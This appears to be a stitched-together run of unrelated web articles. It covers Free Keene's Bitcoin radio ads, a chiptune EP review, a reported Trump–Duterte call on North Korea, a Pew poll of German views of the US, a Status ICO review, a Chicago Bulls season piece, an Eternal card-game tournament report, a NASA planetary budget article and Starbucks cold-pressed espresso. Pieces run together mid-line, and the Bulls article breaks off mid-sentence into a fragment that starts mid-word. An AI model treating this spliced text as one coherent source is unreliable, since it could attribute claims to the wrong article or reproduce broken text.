According to Free Keene, the region has more Bitcoin-accepting merchants than the claimed number one city, San Francisco. The Shire Free Church also has launched two Bitcoin vending machines in Manchester and Keene. The Free Keene crew believes spreading Bitcoin “furthers their mission to foster peace.”
With both machines now fully paid for, the organization says it has relieved capital to spend on advertising Bitcoin on local media. The Free Keene Bitcoin radio ad will appear on “The Peak” (101.9 WKKN-FM Keene, 100.7 WTHK-FM Wilmington, VT, and 104.7 W284AB Jamaica, VT). Listeners will hear the Bitcoin advertisement a few times a day, seven days a week from 3pm-6am EST.
Free Keene explains the ad’s basics on its website, stating:
Bitcoin is a powerful local currency that can also be used internationally. “It’s Keene to buy local”, and Bitcoin empowers local business owners to keep more from each sale, rather than sending three percent outside of the area to credit card companies.
The Ads Mark a Historic Occasion, While Shire Residents Fight the Region’s Cryptocurrency Bill
The Free Keene movement explains the ads are a historic moment. In the past, Bitcoin.com’s Roger Ver purchased Bitcoin advertisements broadcast on Free Talk Live and its network, LRN.FM. Over 160 radio stations broadcast that older commercial, but the new Keene ad campaign marks the first time such an ad focuses on one geographic location.
Meanwhile, the group has also dedicated efforts to convince state representatives to repeal the region’s cryptocurrency regulations. Last week, members urged a legislative committee to squash the bill that could stifle New Hampshire innovation.
Free Keene’s website explains, “It’s frequently said that working inside the system is a waste of time, but in New Hampshire, many state reps will listen to you and showing up and being heard absolutely made a difference here.” Since the state legislature initiated the bill, cryptocurrency operations such as Poloniex stopped doing business in New Hampshire. Representative Barbara Biggie of Milford has vowed to repeal the cryptocurrency bill.
Spreading the Bitcoin Word to a New Audience
Keene residents know cryptocurrency offers many benefits and solutions that promote free markets and individualism. The Free Keene radio ads will definitely put Bitcoin into the ears of many listeners. Some of those ears may never have heard of digital currency.
Meanwhile, The Peak’s three FM stations will transmit the Bitcoin ad from Keene all the way to Western Vermont. Bitcoin.com hopes this effort spreads more Bitcoin awareness in the near future.
Below are the two versions of Free Keene’s Bitcoin advertisements, which it will broadcast on The Peak. Enjoy!
What do you think about Free Keene’s Bitcoin Radio advertisements? Let us know in the comments below.
Source: Free Keene
Images via Free Keene, Shutterstock, and Pixabay.
Did you know Bitcoin.com is throwing a blockchain conference in London this year? Our premiere event, Blockchain: Money, also features the industry’s biggest innovators and executives. The event will take place in the beautiful surroundings of 155 Bishopsgate, London on November 6-7, 2016. Reserve your tickets today!I am pleased to announce a new EP from Chiptune legend Sabrepulse. I’ve been waiting for this release since First Crush (featuring Knife City) premiered on Soundcloud this summer. This EP features eight tracks, including a collaboration with UK Chip Superstar Henry Homesweet who performs live with two gameboys and a DJ Mixer (low bit basement). Producing songs with Ableton Live and his Gameboy, Sabrepulse’s music feature relentless detail and masterful production.
Sabrepulse has been releasing chipmusic since 2005 (Discogs), from joyful Chiptune to aggressive ChipBRK, emotional 8-bit ballads to high energy headbanging DnB, Sabrepulse’s style is diverse. The consistency through all of Sabrepulse’s tracks can summed up with a simple phase, this is damn good music.
The title track to this production is my favorite, a genre shattering blend of Chiptune, DnB and Bassmusic, with intricate drum patterns and soaring 8-bit leads. Featuring Knife City (aka LikeLuke, the drummer from Anamanaguchi).
First Crush EP is avaiable for Name Your Price on Bandcamp.
First Crush EP by Sabrepulse
Like this: Like Loading...President Donald Trump repeatedly addressed the possibility of a U.S. nuclear attack on North Korea in a private call last month with Philippine President Rodrigo Duterte, according to a transcript of the call obtained by The Intercept.
“We can’t let a madman with nuclear weapons let on the loose like that. We have a lot of firepower, more than he has times 20, but we don’t want to use it,” Trump told Duterte. (In fact, the U.S. has 6,800 nuclear warheads and North Korea is thought to have about 10.) “You will be in good shape,” he added.
“We have a lot of firepower over there. We have two submarines — the best in the world — we have two nuclear submarines — not that we want to use them at all,” Trump said. “I’ve never seen anything like they are, but we don’t have to use this, but he could be crazy so we will see what happens.”
The call took place on April 29. The transcript, an official Philippine Department of Foreign Affairs document, contains numerous typographical errors. Multiple government sources contacted by the Philippine news outlet Rappler, which collaborated with The Intercept on this story, confirmed its authenticity.
During the call, Trump echoed his publicly stated position that he wants China to take the lead in addressing potential threats from North Korea. “I hope China solves the problem. They really have the means because a great degree of their stuff come [sic] through China,” Trump said. “But if China doesn’t do it, we will do it.”
Duterte then volunteered to call Chinese President Xi Jinping, adding, “The other option is a nuclear blast which is not good for everybody.” Both leaders expressed a preference for avoiding a nuclear confrontation, but nonetheless, Joe Cirincione, president of the Ploughshares Fund and a leading expert on nuclear weapons, was alarmed by the exchange.
“Trump has a disturbing tendency to talk very cavalierly about nuclear weapons — as if he is an impulse away from using them,” Cirincione said. “He doesn’t seem to understand the vast destructive nature of these weapons and the line he would be crossing by using them.”
During the Obama administration, Duterte made clear his disdain for the U.S. president, who he repeatedly called the “son of a whore.” The Obama administration’s measured criticism of Duterte’s murderous war on drugs enraged the Philippine leader. At one point, Duterte threatened to “say goodbye” to a U.S.-oriented foreign policy in favor of a closer alliance with China. Beijing has offered to train Philippine anti-drug forces tasked with carrying out what human rights advocates characterize as an extrajudicial killing campaign.
Duterte welcomed Trump’s election victory. Recently, he has publicly counseled restraint and the de-escalation of tensions with North Korea, even to the point of criticizing the U.S. for its bellicosity. “There seems to be two countries playing with their toys and those toys are not really to entertain,” he said at an April news conference in Manila.
People in Pyongyang watch a public broadcast about the launch of a surface-to-surface medium-long-range ballistic missile, Pukguksong-2, at an undisclosed location in February 2017. Photo: Kim Won-JinAFP/Getty Images
During the call with Trump, however, Duterte had a different message, emphasizing that the North Korean dictator Kim Jong-un was a “madman.” “He is playing with his bombs, his toys and from the looks of it, his mind is not working well and he might just go crazy one moment,” he told Trump. The two leaders praised each other, and Duterte encouraged Trump to “keep the pressure on” Kim Jong-un while offering to aid Trump in pressing China to bring its influence to bear on North Korea.
Duterte’s public comments, rather than his private ones, are more in line with regional attitudes toward North Korea. North Korea has been saber-rattling for so long that its neighbors have largely decided that ignoring the provocations is the best path forward, a strategy that has been abandoned by Trump.
Earlier this month, amid escalating tensions with North Korea, South Korean voters went to the polls in their presidential election and elected Moon Jae-In — a former human rights lawyer in favor of dialogue and joint economic projects with North Korea.
In his conversation with Duterte, Trump asked for information about the region. “What do you think about China? Does China have power over him?” Trump asked. “What’s your opinion of [Kim Jong-un], Rodrigo? Are we dealing with someone who [is] stable or not stable?”
“He is not stable,” Duterte answered.
The Intercept also obtained a briefing document from the Philippine Department of Foreign Affairs dated several days after the call with Trump, which contains talking points for an upcoming call between Duterte and the Chinese president, Xi Jinping. The document lists as a talking point that Duterte should “call on all parties to exercise restraint and level-headedness to avoid making the situation worse.”
The talking points do not mention Trump.More than half of Germans (53 percent) said they did not believe the United States government respects the personal freedoms of its people, according to a Pew Research Center report published on Tuesday.
Forty-three percent of Germans said they thought the US government did respect citizens' freedoms, while Americans themselves seemed on the fence.
Though in the US most (51 percent) said their government respected personal freedoms, 47 percent disagreed.
The poll also showed that 45 percent of Germans polled had negative views of the US, compared to 50 percent who had positive views.
This was the most pessimistic outlook expressed by any of the western European countries surveyed.
"The U.S. receives largely positive reviews among many of its key NATO allies. About two-in-three Canadians have a favorable opinion, as do large majorities in Italy, Poland, France, the UK and Spain. The outlier is Germany," the report stated.
"America's image has become more negative in Germany over the last few years."
German support for the United States has plummeted over the 15 years since 2000, when nearly 80 percent of respondents in Germany said they felt favourable towards the US.
In the years after President George W. Bush was first elected and later moved troops into Afghanistan and Iraq, support started to wane for the US among Germans, hitting a low of 30 percent positivity in 2007.
Support started to rise again when Barack Obama first took power, up to 64 percent in 2009, but then dropped down in 2012.
Revelations over the past two years about mass surveillance by the US National Security Agency (NSA) on the country's allies, including on Chancellor Angela Merkel's phone, certainly hasn't helped the American government's image either.
Pew Research Center
Unlike Germany, attitudes towards the US in countries like France and Spain have improved since 2000, with 73 percent of French people and 65 percent of Spaniards saying they had positive views of America in the most recent survey.
Despite increasing overall negativity towards the US, Obama still somehow pulled 73 percent support from Germans in regard to his capacity to "do the right thing" in world affairs.
Germans were also largely positive about the United States' military actions to fight Isis in the most recent poll with 62 percent supporting such actions and 30 percent in opposition.
But widely condemned "enhanced interrogation" methods - which many consider to be torture - used by the US on terror suspects following the September 11th 2001 terrorist attacks did not sit well with most Germans. About 70 percent in Germany said these methods were not justified while 21 percent said they were.
Americans, on the other hand, mostly supported such methods with nearly 60 percent agreeing that the interrogation techniques were justified and 37 percent opposing them.
Most Germans also said that they believed China will - or has already - become a bigger superpower than the United states, with 37 percent saying China could never replace the US.
"When asked about the future, people around the world are generally convinced that China either will eventually replace or already has replaced the U.S. as the world's leading superpower," the report states. "Overall, majorities or pluralities in 27 of 40 countries surveyed say this."Summary
Project Name : Status
: Status Token ticker : SNT
: SNT Website : https://status.im/
: https://status.im/ Whitepaper : https://status.im/whitepaper.pdf
: https://status.im/whitepaper.pdf Hard cap : Hidden caps to be revealed during the ICO period (dynamic ceiling, explained below at the end of this section)
: Hidden caps to be revealed during the ICO period (dynamic ceiling, explained below at the end of this section) Soft Cap : CHF12 million (Swiss Francs)
: CHF12 million (Swiss Francs) Conversion rate : 10,000 SNT per 1 ETH
: 10,000 SNT per 1 ETH Total token supply : Unknown before ICO because the hard cap is hidden, but ICO contributors will receive 41% of the total supply
: Unknown before ICO because the hard cap is hidden, but ICO contributors will receive 41% of the total supply Maximum market cap at ICO : Unknown before ICO because the hard cap is hidden
: Unknown before ICO because the hard cap is hidden Bonus structure : None
: None ERC20 token : Yes
: Yes Timeline : June 20 at 2pm GMT to 30, 2017 (ICO will run for another 24 hours after the soft cap is reached, please visit http://contribute.status.im/ for more information)
Note: Without knowing what the hard cap is, it is difficult to see how attractive the project is from an investment perspective. However, given the soft cap is at CHF12 million, I am going to assume the hard cap is somewhere between CHF25 million and CHF50 million. This range is completely arbitrary and I could be way off, but personally I think it is unlikely that the hard cap is over four times higher than the soft cap. Under this assumption, the market cap is anywhere between CHF61 million and CHF122 million. Dynamic ceiling explained: The first ceiling is public and begins the moment 12M CHF equivalent has been reached. It signifies that the contribution period will end within 24 hours, or sooner if the hidden hard ceiling has been met. The moment the first ceiling has been triggered, there will be a series of additional hidden ceilings that begin after a given number of blocks has been reached. Each hidden ceiling decreases in size and has to be revealed publicly before accepting further contributions. The curve of the ceilings, the number of blocks between ceilings, and the hard ceiling amount will not be revealed to participants until the Contribution Period begins in an attempt to discourage whales from consuming the entire SNT allocation.
Project Overview Status is one of the more highly anticipated ICOs recently. On its Slack channel, there are already over 6,800 members. This is huge when you consider the subreddit page about ICOs has only 2,500 subscribers. This is because (1) Status has a bounty program that gives out the token SGT, which can be converted to SNT after the ICO, and (2) Status has been around for longer than most ICOs. What does the company/project do? In short, Status aims to be the WeChat and App Store for Ethereum. Status’ goal is to drive mass adoption of Ethereum by providing a user-friendly platform for people to get on board. The Status application, which is currently in alpha, and available for Android & iOS, allows users to:
Send and receive encrypted messages, smart contracts, and payments.
Browse, chat, and interact with decentralized applications and decentralized chatbots.
Store and control crypto-assets with the built-in Status Wallet.
Status also has a DApp directory that is similar to the Apple App Store or the Google Play Store. Below is a teaser video of Status, which was published a few days ago (video is 3:31 long):
In the whitepaper, Status provided numerous sample use cases. I selected a few of them here:
Stakeholder A, an early adopter in Cuba, has been paying for Push Notifications, but Google’s Firebase has just been blocked in his country. He seamlessly changes to a different provider from with inside Status.
Stakeholder B, a DApp developer, mandates only registered Status users to post on his discussion board DApp, in order to mitigate sockpuppet accounts using his decentralized application and increase the quality of content.
Stakeholder C, an artist and celebrity wishes to spend some time chatting with fans, and also desires a means of monetizing their fan base.
Stakeholder D, a street vendor in India, becomes a Seller on the Status Teller Network as a means of generating additional revenue.
Stakeholder E, a casual user, sends Stakeholder B a sticker as a birthday present. The sticker is backed by 5 DGX, representing 5 grams of gold.
Given the Ethereum ecosystem is still in its infancy and token models are still being researched and developed, Status also plans to introduce the ability to propose new functionality to the community. If you’d rather watch than read, Jarrad Hope, CEO of Status, gave a clear explanation of Status in Devcon2 (video is 14:35 long):
How advanced is the project? Status is at a more advanced stage than the majority of the ICOs out there. The Status team has been working on the project since Q1 2016 and they rolled out the first public alpha in January 2017 for Android and iOS. The image below shows the development roadmap for Status:
Source: Status wiki page How can token holders make money? SNT is the token used within the Status app. As shown above, there are many use cases for the token, most of which needs SNT to function. The more usage of the Status app, the more valuable the token should be.
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Team Carl and Jarrad, the co-founders of Status, have had a working relationship for 6 years on various projects, and 3 of those years were spent operating a software distribution network, driving over 20 million installs to various software offerings, the profits of which were used to fund Status and a team of 10 until this point. Currently, Status has a full-time team of 8. In addition, they also have a community of part-time contributors as well. In the jobs page (https://status.im/jobs.html), they are hiring for two positions. Jarrad Hope previous founded Opulence (https://www.opulence.im), a bootstrapped software distribution network growing to over $20M Revenue in 30 months. Status has a strong team of advisors, including the following people:
Viktor Trón, Ethereum core developer for the go client, Ethereum Foundation
Bo Shen, General Partner of Fenbushi, a China-based venture capital fund investing in Blockchain-enabled companies
Yessin Schiegg, CFO of Alpha Associates
Opportunities 1) Status has a very ambitious goal – it wants to be the WeChat of the West. Once fully developed, Status does have many features that are unmatched by current messaging apps. I wonder why existing messengers (cough, Facebook, cough) do not try to do what Status is doing already? 2) There is a real need for a decentralized solution. Some users don’t want to use peer-to-peer payments and encrypted communication in a centralized platform due to privacy concerns. 3) Strong team - The team has been working together for a long time. Status is an ongoing project for a number of years with a clear roadmap. - Many of the advisors are reputable within the blockchain world. 4) As with all the messenger and social media apps, there is a strong network effect in play for Status. The more users Status has, the more powerful the entire network is. Therefore, success of SNT hinges largely on whether Status (and by extension, Ethereum) can achieve widespread adoption.
Concerns 1) In order to be successful, Status needs to achieve mass adoption which can be difficult. - Without a large user base, developers would not want to create DApps on the platform. Who wants to build an app for the Windows Mobile platform? 2) In the whitepaper, Status outlined a number of problems that they are trying to solve. As you can see from the sample use cases above, users can do a lot of different things on Status. - Status might be trying to tackle too many problems at the same time. If the team cannot execute well enough, they would spread themselves too thin. - I think it is better if they could focus on one problem at a time and fix them one by one. 3) Hidden cap may be larger than investors anticipated, making the ICO undersubscribed. This would hurt the short-term performance of SNT. 4) There are many very popular messaging apps already. Status needs to compete successfully against very strong and established players (Facebook messenger, Whatsapp, iMessage, Line, etc.) in order to survive. 5) On a related note, it looks like the Kin project by Kik (another messaging app) also tries to tackle similar problems. So Status will go against an already functional messaging app.
ConclusionFeb 1, 2016; Salt Lake City, UT, USA; Chicago Bulls head coach Fred Hoiberg reacts in the third quarter against the Utah Jazz at Vivint Smart Home Arena. The Utah Jazz defeated the Chicago Bulls 105-96 in overtime. Mandatory Credit: Jeff Swinger-USA TODAY Sports
With the Chicago Bulls eliminated from the 2016 NBA Playoffs under head coach Fred Hoiberg, it is time for the team to look ahead to next year.
Although the 2015-16 NBA season is not quite over yet, the Chicago Bulls have already been eliminated from the playoffs. Ninth in the Eastern Conference as of Tuesday with a record of 41-40, the team was unable to clinch the eighth seed, making way for one of their Eastern rivals to take the spot.
While some fans may have been blindly keeping the faith till the very end, most of Chicago had long foreshadowed a postseason miss. To say the Bulls had a rocky year would be putting it lightly, with the reality being more along the lines of horrendous.
Chicago is certainly not the worst team in the league. Nor are they even the |
’t feel like I had quite earned my spot at worlds so I kept trying to prove myself. After posting good finishes at the Season 2 Invitational and the Midseason Major, I felt like I had. After that my motivation started to slacken, I had already qualified for Worlds, proved that I wasn’t a one hit wonder and, to be honest, I lost a lot of my interest for the game after Set 2 wasn’t what I was hoping for. I decided to focus on my studies and let Eternal slip further and further. By the time the Season 4 Invitational came by, I was barely playing and after going 0-2, I decided to take a break from Eternal completely until I completed my Masters thesis. A couple of months later, I got dragged back by a discord message from RNG asking me to confirm my participation in the Team League. Unbeknownst to me, my team, the newly merged Owls and Dragons (OND), had decided my return date for me and signed me up. Team League was a great way to get back into the game, discussing matches and playing together with some of the best players in the game really helped me get back on my feet fast. I was still busy with my thesis up until shortly before worlds, but thanks to my teammates I was back in time and had a fair grasp of the meta.
Praxis, I choose you!
As I’ve mentioned previously, the ETS meta is rather unpredictable. For example, neither of the decks that won the previous two tournaments (Xenan Midrange and Chalice control) had any showing in worlds at all. Rather than bringing meta decks, the competitive Eternal community has a tendency to bring counter decks and pet decks instead. Personally, I tend to fall on the pet deck end of the spectrum so the first thing I tried after coming back from my break was polishing up my old pet decks. Neither Icaria Gold (yes, I’m going to call it that until my dying days) nor Shimmerpack were in good shape and they were going to take a lot more work than I had time for. Even days before worlds, nobody in OND had locked into the deck they were going to run and despite having our meta predictions, none of us were very confident in them. In the end, we all went into wildly different directions. I went for the meta deck I was most experienced with and also the deck I expected to have the most positive match ups. I wasn’t very sure about my exact list but I was confident the deck had no glaring weaknesses among the meta decks and enough favourable match ups.
Finally, on the tournament!
Round Robin: Round 1
As usual, most of our predictions were thrown out the window the moment decklists were revealed. We weren’t expecting as much Shimmerless Combrei (hereafter addressed as TJP Midrange, definitely not as Combrei Party) and the lack of both Chalice and Xenan midrange shocked us. Nevertheless, TJP midrange was a good matchup for me so I still had confidence in my deck choice…
…which was shattered almost immediately after the tournament started, after a disastrous streak of three losses against a couple of aggro decks and the rather Mysterious Xenan Control deck. I expected the losses against aggro but the loss to LightsOutAce’s Mysterious Xenan deck rattled me. This was a match up that I expected to be favored in and yet while playing it, it felt rather hopeless as his removal was just too much.
This first series of losses activated my survival instincts for the rest of the day and I ended up clawing my way back. My deck did exactly what it was made to do: tempo out slower aggro and midrange decks. I came out of day one with a 4-4 record. Not great, but I knew I was heading into all four of my TJP midrange matchups the next day. Despite my horrendous start, I was once again confident I wouldn’t fall down to the dreaded bottom four.
As it turns out, my second day didn’t go quite as planned either. Once again, I lost to the Mysterious Xenan deck, this time piloted by SirRhino, cementing my belief that the matchup was in fact terrible for me. I went on to win only two of the four favourable TJP Midrange matches, meaning I was once again in the danger zone (and not the good one).
Luckily for me, I managed to squeak out a win against my teammate IlyaK on rally queen in the last round to go 7-6, stopping me from getting sucked into the tiebreaker quagmire for the last bottom 4 spot.
In hindsight, despite struggling to avoid the dreaded elimination bracket for the entire weekend, a single extra win would’ve put me in prime position to take top 4. This is testimonial to exactly how fierce the competition was in this round robin filled with the best of the best.
Round Robin: Round 2 (Pod A)
The second round robin went a lot smoother. Luck finally started to go my way and despite losing my match against Mouche on TJP Midrange in a nail-biter (I’m pretty sure his comeback story was scripted), I won some unfavourable matchups as well. This included stealing a win against the Mysterious Xenan deck, a match up which I was beginning to dread. All in all, there was not much more to say about day two; other than in the final round, due to problems with discord, Unearthly and I were streamed playing what was probably the least consequential tournament match ever shown on a tournament stream. We were both already locked for top 8 and seeding would be randomized so there was no real reason to even play the match. The Eternal Gods seemed to agree as Unearthly promptly got screwed out of both games in record time. Thankfully the match was inconsequential and we were able to laugh about it, ending the second round robin on a high note.
Double the elimination, double the fun.
Right out of the bat, I was matched up against probably my worst matchup in the top 8, so I wasn’t feeling all too confident. That said, I had previously defeated camat0, my likely next opponent if I won round one, 2-0 in what seemed like a favourable matchup. Thus, if I managed to beat Sunyveil’s Stonescar aggro, I’d have a good shot at making it to the winner’s finals. Well, as expected by now, things didn’t quite go as planned. I did beat Sunyveil using my sideboard Slows to punish his greedy powerbase. However, I promptly lost in an unexpected 0-3 landslide to camat0, the entire match just felt completely different. I never really hit my stride in any of the games and it felt like he always had the exact answers he needed. In any case, despite criticizing it before, I was happy this top 8 was double elimination. Having an another shot at taking revenge against Mouche and eliminating TJP Midrange from the tournament completely was just a cherry on top of the cake. This time around, his comeback storyline was not enough and I managed win 3-2 in another nail-biting series. Unfortunately, that win put me square in the sights of SirRhino, piloting the Mysterious Xenan deck that I had been learning to dread all tournament long. Luckily, my end came swiftly and while I managed to take one game to save face, my aristocratic horned nemesis took the series convincingly, ending my worlds run just off the podium at 4th place.
Ending thoughts and prayers
All in all, I’m very happy with my result. I had fun playing in Worlds, although honesty requires me to say that I think it was too long and drawn out in its entirety. That said; usually my first few post-tournament days are filled with what-if flashbacks but I don’t think this tournament could have ended any differently for me and that’s in part because the tournament format was so comprehensive.
With regards to my deck choice, I would definitely have brought Praxis again. The Purifies weren’t great, since I was literally the only Dawnwalker deck in the field, but they were still good against enough of the field that I don’t regret main-decking them. For my sideboard, I don’t think I have any regrets as I used them all frequently and I didn’t face a single matchup that I felt my sideboard couldn’t deal with. In particular, Slow impressed me greatly. I had primarily included Slow to sniff out Harsh Rules, but it proved to be extremely valuable against the hyper-aggressive decks as well. In fact, I wish I would’ve brought Slow in more, especially against the Mysterious Xenan deck.
Last but not least, I want to congratulate camat0. His was a well deserved win as even before worlds, I think most of us would’ve agreed he was one of the absolute best players Eternal has to offer. I also want to thank my teammates in Owls and Dragons for helping me get back into the game after my break and for the great discussion, testing and cheering on.
Editor Note: “I’d also like to thank RNGEternal for hosting the tournament.” – quote attributed to Toth201
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FacebookCasey Dreier • April 15, 2014
The End of Opportunity and the Burden of Success
Can NASA sustain its golden age of planetary exploration?
Lately, multiple news outlets have reported on the possible cancellation of the Opportunity rover, the longest-running Mars surface mission in history. Less reported, but equally important, is that NASA's Lunar Reconnaissance Orbiter (LRO), currently orbiting the Moon, is in the same situation.
Opportunity is currently exploring the outcrops around Endeavour Crater in this artist's conception. You can follow the mission with our monthly MER Update NASA / JPL-Caltech
Most people find this mind-boggling. The cost to run both missions is around $25 million dollars per year, about 2% of the budget of NASA's Planetary Science Division, and approximately 0.15% of NASA's total budget (I'd plot this, but the amount is too small to be seen). For missions that cost hundreds of millions of dollars to build and launch, surely we can find a small amount of money to keep them running?
To really understand why both missions are threatened, we need to delve into the budget situation at NASA, particularly with the beleaguered Planetary Science Division. It all comes down to the initial cuts to the planetary program, but not just because there is less money to work with, but because the previous decade's funding had allowed an unprecedented string of successful missions that now weighs heavily around NASA's neck.
The 2015 Budget Proposal and the Unwelcome Surprise for Opportunity and LRO
The President's 2015 budget request for NASA was released in March, kicking off the spring budget season in Congress. It acts as the starting point of congressional budget decisions. For the third year in a row, the White House proposes cuts to NASA's Planetary Science Division (responsible for all planetary missions). Additionally, the White House zeroed out the operating budgets for Opportunity and LRO in 2015, leading many people to (correctly) worry that both missions will be canceled next year.
NASA LRO at the Moon An artist's conception of the Lunar Reconnaissance Orbiter (LRO) in orbit around the Moon. An artist's conception of the Lunar Reconnaissance Orbiter (LRO) in orbit around the Moon.
But there's a rub: the President also released a supplemental budget request called the Opportunity, Growth, and Security Initiative (OGSI, pronounced "augsey"). This supplemental request was in response to a congressional budget deal that limited discretionary spending in 2015 to a relatively low level. The President's budget, which zeroes out Opportunity and LRO, observes this limit. But since the Administration thinks that this level of domestic spending is too low, they created the OGSI to show what they likely would have included in the budget had this limit not been imposed.
The OGSI contains $35 million to pay for continued operations for Opportunity and LRO. So these missions aren't canceled in the sense that the SOFIA telescope is canceled (appearing in neither the regular budget nor the OGSI supplemental request), but since the OGSI will never be passed into law by Congress, the two missions are not exactly safe, either.
Now, the question of how to pay for Opportunity and LRO would not normally be an issue if the Planetary Science Division's budget hadn't been cut repeatedly in the past few years, but the White House has been obsessively slashing this part of NASA for years, cutting hundreds of millions of dollars since 2013. While Congress has been able to mitigate these cuts somewhat, we still face a series of immediate and long term consequences to NASA's ability to explore the solar system, some of which we are just beginning to understand.
The Price of a Planetary Golden Age
With all of the dour budget news of late, you may not have noticed that we're living in a golden age of planetary exploration. NASA has over a dozen spacecraft exploring the solar system from Mercury to Pluto. NASA instruments are riding along on even more missions from the European Space Agency. Mars is being explored in more detail than ever before, as is Titan, Enceladus, Saturn, and the asteroid belt.
Olaf Frohn Active Science Missions Current science missions by NASA and other space agencies as of April 2014. Note that not all of these are planetary missions.
Nearly all of these missions were spawned in the previous decade (some, like Cassini, even earlier). During the ten years spanning 2003 - 2012, NASA launched twelve spacecraft to explore the solar system. It could do this because funding was healthy, averaging around $1.5 billion per year for Planetary Science. Not a single one of these missions failed to achieve their primary missions.
It's not a surprise that it takes money to operate spacecraft. You need a team of engineers, computer technicians, trajectory planners, and scientists to plan the mission's activities and keep the spacecraft safe. It costs money to use NASA's Deep Space Network—the only way to communicate with a distant spacecraft. Not all missions are equal: a relatively straightforward mission like LRO can run on about $9 million per year, but a more complicated mission, like Curiosity, costs about $60 million per year. The cumulative cost of operating a dozen spacecraft as well as NASA contributions to foreign missions (like to ESA's Mars Express) adds up to a significant fraction of the planetary exploration program. In 2013, the last year that we have full data, the cost was around $270 million—a little more than a fifth of the entire budget for NASA's Planetary Science Division.
That's a lot of money not spent on building new missions! The cost of mission operations is projected to peak at about $308 million in 2015 (assuming Opportunity and LRO continue). To put that in perspective, a small-class mission, like the upcoming Mars lander InSight, costs about $450 million to build the spacecraft.
As the decade continues, the costs of operations will decline as missions naturally come to an end.
Note that years beyond 2014 are just the Administration's proposed spending. These numbers can change.
Can the costs of operating missions be decreased? It depends. When cuts do happen, they tend to come from the scientific side of the mission, since the engineers are required to keep the spacecraft safe. But most missions have already been pared down significantly in terms of operational cost. Cassini originally needed about $80 million per year to operate, and now makes due with around $60 million, with cuts mainly hitting the science team.
The two biggest-ticket missions are Curiosity and Cassini. Spacecraft entering the prime phase of their missions, like New Frontiers, Juno, and Dawn, clock in around $20 - $25 million per year. NASA's contributions to foreign missions tend to cost in the single millions. I've created a spreadsheet of all active planetary missions and their operational costs from 2011 - 2019 which you can view at your leisure, or take a quick glance at the breakdown chart below.
So if we prioritize continued operation of existing missions (and I think we should), this becomes a fixed cost of the current planetary program. Cuts to the top-line hurt more than you would otherwise think, as there is less flexibility to absorb them. Pretty much the only thing you can do is delay, cancel, and descope new missions, which is exactly what we've seen happen.
This year, then, the White House is trying to pare down the costs of missions to open up more for future missions. NASA Administrator Charlie Bolden stated that he supports continuing missions unless they threaten the development of new missions.
The Future
The cuts by the White House don't just threaten missions now, but sacrifice the future health of NASA's planetary program. The cuts have had a particularly strong impact on future missions: this decade, we will likely see the launch of only six to seven planetary missions, a drop of about 50% compared to the previous decade's launch rate. There will be fewer replacements for the missions nearing the end of their lives. Both Cassini and Juno are planned to end in 2017, at which point there will be no NASA missions in the outer solar system for the first time in about 40 years. NASA has committed to no missions to replace them.
Even as the burden of operating existing missions decreases over the next few years, it will be difficult to replace them. The delicate balance of funding development of multiple spacecraft means that you must space out construction schedules so no spacecraft demand "peak" funding during the same year (peak funding coincides with the most active period of spacecraft construction). So even an increase to historical levels of planetary funding will necessarily require years to rebuild our fleet of scientific spacecraft. The damage has already been done.
Lori Dajose/Michael Wong/Loren Roberts/Casey Dreier for the Planetary Society NASA's Planetary Science Division Funding and Number of Missions 2004 - 2020 Funding for planetary exploration at NASA mapped against the number of missions in development, adjusted for inflation and for programmatic consistency. Current as of the FY2016 President's Budget Request. Funding for planetary exploration at NASA mapped against the number of missions in development, adjusted for inflation and for programmatic consistency. Current as of the FY2016 President's Budget Request.
The future is uncertain for Opportunity and LRO. Later this year, NASA will initiate its biennial senior review for all planetary science missions that have lasted beyond their primary mission goals. The senior review process evaluates the scientific potential and technical capabilities of each mission and ranks them according to this combined value. In 2012, Cassini was ranked the most highly and the now-defunct Deep Impact ranked the lowest.
Jim Green, the Director of NASA's Planetary Science Division, stated at a recent conference that if Opportunity and LRO ranked highly in the senior review, that they would continue at the expense of a lower-ranked mission. We will know the outcome of these reviews later this year.
At least one representative of Congress, Adam Schiff (D-CA), has spoken out against the cancellation of Opportunity. The Planetary Society and other scientific organizations have also come out against cancelling any missions still returning good science. We've also been asking our members and the public to write congress to show support for Opportunity and LRO (and the entire planetary program).
If Congress restores the budget for the Planetary Science program back to its historical average, funding for Opportunity, LRO, and all other operating missions becomes far easier to maintain. We could also begin other important missions, like the one to explore Jupiter's moon Europa.
NASA faces a problem of its own making: it was too successful. It built too many spacecraft that outlasted their design requirements. There is too much science to do, too many mysteries to figure out, too many questions to answer. But the obsessive desire by the White House to cut planetary exploration—an obsession now in its third year—has forced NASA to choose between its current spacecraft and the future of the program. Planetary Science has done well to preserve its most valuable assets, but we have paid an unknowable price in the loss of science return in the next ten years from the missions that may never happen.
Opportunity and LRO are the most recent and visible example of this absurd punishment of success. As most people point out, a minor adjustment to NASA's budget will ensure the continued operation of both missions. The Administration itself acknowledges the value of both missions by placing them in the OGSI. Let's not make these two unique missions pay the price of this political gamble.
>>> Make sure to write Congress to #SaveOpportunity and #FundPlanetary.
NASA / GSFC / ASU Giordano Bruno Crater A view of Giordano Bruno, a 22-km-wide impact crater on the far side of the Moon. When viewed large, the high resolution and oblique angle of this Lunar Reconnaissance Orbiter image almost make it seem like you're standing right on the edge of the crater. A view of Giordano Bruno, a 22-km-wide impact crater on the far side of the Moon. When viewed large, the high resolution and oblique angle of this Lunar Reconnaissance Orbiter image almost make it seem like you're standing right on the edge of the crater.
Casey Dreier Chief Advocate & Senior Space Policy Adviser for The Planetary Society
Read more articles by Casey DreierStarbucks Corp. is getting colder.
The Seattle-based coffeehouse operator has developed a process for making a shot of cold-pressed espresso to be used as the base for a potential line of cold espresso beverages.
The cold-pressed espresso beverages will debut at the premium Starbucks Reserve Roastery in Seattle, the company said on Tuesday.
The cold-pressed espresso provides the 27,000-unit chain with another tool in its effort to sell more iced drinks, highlighted by last year’s introduction of Nitro Cold Brew, which is now available in 1,000 U.S. locations.
“This new technique, which produces a dense shot of cold-pressed espresso, is the next step in our cold coffee journey, and is the perfect ingredient to design a menu of cold espresso or coffee options,” Starbucks CEO Kevin Johnson said in a statement. “We believe the opportunities are limitless.”
The company developed what it calls Aqua Tamp Technology, which uses an ascending flow filtration system pressurized by cold water.
Traditionally, espresso is made quickly, with a fine grind of coffee, hot water and downward pressure. But Starbucks’ new process uses a coarse grind and cold water steeped for 45 minutes, then filtered with intense, upward pressure.
“Our R&D team flipped traditional brewing on its head and found another way to deliver something even more extraordinary,” said Andrew Linnemann, vice president, global coffee, tea and roastery for Starbucks.
The process allows for a “precise release of flavor characteristics” that results in “a dense concentration of cold espresso,” the company said, translating to a smoother shot of cold-pressed espresso.
